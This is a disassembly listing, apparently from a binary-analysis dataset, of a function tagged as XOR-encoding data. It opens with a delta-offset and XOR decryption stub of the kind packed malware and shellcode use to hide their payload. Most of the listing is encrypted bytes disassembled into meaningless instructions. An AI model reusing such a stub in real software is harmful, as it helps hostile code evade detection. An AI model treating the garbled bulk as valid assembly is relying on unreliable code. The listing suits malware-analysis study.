Function at 0x158cca4
Capabilities:
Encode data using xor

Disassembly:
invalid
jmp 0x158ccae
pushal
call 0x158ccb4
pop ebp
sub ebp, 0x10
sub ebp, 0x118cca4
jmp 0x158ccca
mov eax, 0x118cca4
sbb byte [ecx], al
add dword [ebx], eax
add eax, ebp
add eax, 0x4c
mov ecx, 0x5af
lds eax, [ecx + 0x4cc0]
dec esp
add byte [eax], al
add byte [ecx + 0x5af], bh
mov edx, 0x4f7fb73
xor byte [eax], dl
inc eax
dec ecx
jne 0x158cce1
jmp 0x158ccf4
clc
mov esi, 0x734ffaf8
jae 0x158cd6f
mov dl, 0x8b
jae 0x158cd74
jae 0x158cd73
mov esi, 0x737370cb
jae 0x158ccd3
pop ebx
jae 0x158cd80
jae 0x158cc93
xchg ecx, eax
jo 0x158cccd
clc
bnd jg 0x158cd89
jae 0x158cd8b
jo 0x158ccd0
and esp, dword [ebx]
sbb esp, dword [ebx]
loope 0x158cd8c
jae 0x158cd3d
daa
dec ecx
mov dh, byte [ebx + 0x72]
pop edi
push edi
sbb eax, dword [edi - 0x6e]
imul ecx, dword [ebx + ebx*4], 0x76
jae 0x158cda5
jae 0x158ccce
pop ebp
jae 0x158cdaa
jae 0x158cd5f
daa
clc
idiv byte [ebx + 0x73]
jnp 0x158cdb2
jae 0x158cdb4
jae 0x158cd3a
clc
out 0x7f, al
jae 0x158cdb9
jae 0x158cd40
invalid
invalid
loope 0x158cddd
jae 0x158cd8e
daa
dec ecx
mov dh, byte [ebx + 0x72]
pop edi
push edi
invalid
jg 0x158cdd8
push edi
wait
jbe 0x158cdf7
jae 0x158cdf9
lcall 0xf826, 0x73737140
jae 0x158cdfe
clc
clc
lahf
mov word [esi], es
jg 0x158cd1e
push es
jnp 0x158cd30
adc eax, 0xf8737373
into
jnp 0x158ce10
jae 0x158ce12
inc eax
mov edx, 0x9bf0a140
jbe 0x158cde2
jl 0x158cda0
cmp eax, 0x7c737373
jae 0x158ce1f
jae 0x158ce2a
sti
cmp esi, dword [ebx + 0x73]
jae 0x158cdc9
adc eax, 0xf34a6ff8
mov byte [ebx + 0x7369f77c], bl
clc
outsd dx, dword [esi]
dec edx
mov byte [ebx + 0x7369f77c], bl
wait
jl 0x158cdb3
imul esi, dword [ebx + 0x73], 0x9a88f373
jl 0x158cdbc
jae 0x158ce33
mov byte [edx + 0x7362f77c], bl
bound esi, qword [ebx + 0x73]
jae 0x158ce3b
jae 0x158ce3c
jae 0x158cddf
adc eax, 0x568c88f2
jl 0x158cdc7
mov byte [esi + edx*2 + 0x7366f77c], cl
mul dword [esi + 0x73]
jae 0x158ce46
jae 0x158ce47
jae 0x158ce07
xor bl, byte [edx - 0x73737341]
pop edx
aas
lcall 0x3f5a, 0x8c8c8cbf
mov word [edx + ebx*2 - 0xf8db5c1], cs
dec edx
jb 0x158cdcf
mov dl, 0x76
invalid
wait
ja 0x158cd7f
into
mov word [esp + ecx*4 + 0x714a275a], cs
invalid
mov word [edx + ebx*2 - 0xf8eb5d9], cs
mov dl, 0x75
invalid
fmul dword [esp + ecx*4 + 0x7fb12e8c]
mov word [esi + ebp + 0x26737fb1], cs
jae 0x158ce26
clc
lahf
and eax, 0x6f82624
and al, 0x26
clc
push es
jg 0x158ce01
push cs
jnp 0x158cd9b
pop ecx
stc
sal ebx, 0xf9
jne 0x158ce03
mov ch, 0x72
mov ch, 0x72
jb 0x158ce87
jae 0x158ce88
jae 0x158ce89
jae 0x158ce12
sti
je 0x158ce0b
mov ah, 0x72
jae 0x158ce90
jae 0x158cde7
jno 0x158ce94
jae 0x158ce96
jae 0x158ce95
jno 0x158cdc6
mov eax, dword [0x7376f67c]
jl 0x158ce1d
div byte [esi + 0x73]
jbe 0x158ce9c
jae 0x158ce9e
jae 0x158ce25
stc
xor eax, 0xf07ca161
popal
mov eax, dword [0x8cabf07c]
mov word [ecx + esi*2 + 0x76f67ca1], cs
jl 0x158ce22
stosd dword es:[edi], eax
mov word [esp + ecx*4 - 0x9835e8f], cs
jl 0x158ce30
jbe 0x158ceaf
jae 0x158ceb0
jae 0x158ceb1
jae 0x158ce38
stc
xor eax, 0xf07ca161
sbb dword [ebx + 0x73], esi
jae 0x158cebb
jae 0x158cebc
jae 0x158ce8a
inc eax
mov bl, 0x71
mov eax, dword [0x7376f67c]
jae 0x158cec6
stc
xor eax, 0xf07ca161
pop ecx
jb 0x158ced0
jae 0x158ced0
mov eax, dword [0x7376f67c]
jae 0x158ced9
stc
xor eax, 0xb360a161
jno 0x158ce10
mov eax, dword [0xa171b360]
jl 0x158ce67
jbe 0x158cee6
jae 0x158cee8
stc
xor eax, 0xb360a161
jno 0x158ce1f
jl 0x158ce76
jbe 0x158cef5
jae 0x158cef7
stc
xor eax, 0xb360a161
jno 0x158ce2e
popal
mov eax, dword [0xa171b360]
pushal
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x158ce85
jbe 0x158cf04
jae 0x158cf05
jae 0x158cf06
jae 0x158ce8d
stc
xor eax, 0xb360a161
xor eax, 0xb360a161
popal
mov eax, dword [0xf77cb360]
jl 0x158ce93
jne 0x158cf11
jae 0x158cf13
clc
lodsb al, byte [esi]
pop eax
stosd dword es:[edi], eax
stc
jo 0x158cea2
je 0x158cedd
enter 0x7371, 0x73
jae 0x158ce49
add ecx, dword [esp + ecx*4 + 0x7372cb8c]
mov word [esp + ecx*4 + 0x737372cb], cs
jae 0x158cf2a
mov word [ebx + ecx*8 + 0x73737372], cs
mov ebx, cs
jb 0x158cf29
jae 0x158cf2b
jno 0x158ce5b
mov eax, dword [0x7376f67c]
jl 0x158ceb2
div byte [esi + 0x73]
jbe 0x158cf31
jae 0x158cf33
stc
xor eax, 0xb360a161
jno 0x158ce6a
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x158cec1
jbe 0x158cf40
jae 0x158cf41
jae 0x158cf42
jae 0x158cec9
stc
xor eax, 0xf17ca161
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x72c8b058], cs
jae 0x158cf53
mov word [eax - 0x50], ds
enter 0x7372, 0x73
mov al, 0xc8
jb 0x158cf52
jae 0x158cf54
jae 0x158cf5e
jl 0x158ced9
test byte [edi + 0x73], 0x73
inc edi
jae 0x158cf59
jae 0x158ceb2
jb 0x158cf5d
jae 0x158cf5f
jno 0x158ce8f
jl 0x158cee6
jbe 0x158cf65
jae 0x158cf67
stc
xor eax, 0xba60a161
jno 0x158ce9e
popal
mov eax, dword [0xa171ba60]
jl 0x158cef5
jbe 0x158cf74
jae 0x158cf76
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
popal
mov eax, dword [0x8cadf17c]
mov word [ebp - 0x79a77b08], cs
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x5884f825], cs
pop eax
xchg byte [eax + 0x7b9a2dd7], al
mov word [esp + ecx*4 + 0x7b93b23b], cs
stc
adc bh, 0x2d
lcall 0xb23b, 0x8c8c8c7b
xchg ebx, eax
jnp 0x158cf19
mov word [ebx + edi - 0x6846c4e], cs
jne 0x158cf57
clc
wait
retf 0x7372
jno 0x158cecc
mov eax, dword [0x7376f67c]
jl 0x158cf23
jbe 0x158cfa2
jae 0x158cfa4
stc
xor eax, 0xba60a161
xor eax, 0xba60a161
jno 0x158cedb
jl 0x158cf32
jbe 0x158cfb1
jae 0x158cfb3
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
mov eax, dword [0x8cadf17c]
mov word [edx + esi*8 + 0x730e738b], cs
int1
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0xe738bf2], cs
jae 0x158cfc4
jae 0x158cf44
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 + 0x738bf28c], cs
jbe 0x158cfcf
mov word [esp + ecx*4 + 0x76738bf2], cs
mov esi, dword [ebx + 0x76]
jae 0x158cfd1
jae 0x158cfd0
jae 0x158cf50
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 - 0xc740d74], cs
jae 0x158cfdb
mov word [edx + esi*8 + 0x7373f38b], cs
jae 0x158cfdb
jae 0x158cfdc
jae 0x158cf5c
mov byte [0x73737373], al
mov byte [0x73737373], al
mov esi, ebx
jae 0x158cfe7
jae 0x158cf68
mov byte [0x73737373], al
and eax, 0x835884f8
adc bh, 0x2d
lcall 0x75f9, 0x8c8c8de8
xor eax, 0x9bb3ba40
jb 0x158d00d
jne 0x158cfc0
inc eax
mov edx, 0x7c729bb3
imul dword [ecx + 0x73]
jae 0x158d009
imul esi, dword [ebx + 0x73], 0x71a2f273
jae 0x158d00e
jae 0x158cf89
mov byte [0x73737371], al
mov byte [0x73737371], al
jae 0x158cf95
clc
wait
and eax, 0x835884f8
adc bh, 0x2d
enter 0x7372, 0x73
add dword [eax + 0x72c82dd7], 0x73
xlatb
sub eax, 0x737372c8
jb 0x158d01c
jae 0x158d01e
jae 0x158cf46
lcall 0x582e, 0x8c8c8d00
add byte [ebp + 0x582e8c8c], cl
lea ecx, [esp + ecx*4 + 0x7b0e582e]
clc
pop eax
push cs
jnp 0x158cfad
mov ah, 0x2c
sub eax, 0xb12e96f8
jnp 0x158d031
sub al, 0xf8
inc edi
push edi
invalid
push edi
ja 0x158cf61
ja 0x158d03c
jae 0x158d03e
invalid
retf
xlatb
mov edi, 0xb670726b
mov bl, 0x22
jo 0x158d04e
jae 0x158cfa7
retf 0x71d9
fnstenv [ecx + 0x73]
jae 0x158cfab
retf
arpl word [ebx], si
cmp bh, byte [esi + esi*8 - 0x7b]
mov word [esp + ecx*4 + 0x7373779a], cs
jae 0x158cf92
invalid
enter 0x4635, 0xffffffffffffff95
retf
pop ebp
inc eax
mov ebx, 0x4f405df7
sti
dec ebx
retf
dec esp
xor dword [eax - 0x4f], eax
retf
inc eax
mov cl, 0xcb
dec esp
xor dword [eax - 0x7c], eax
iretd
retf
ret
retf
int3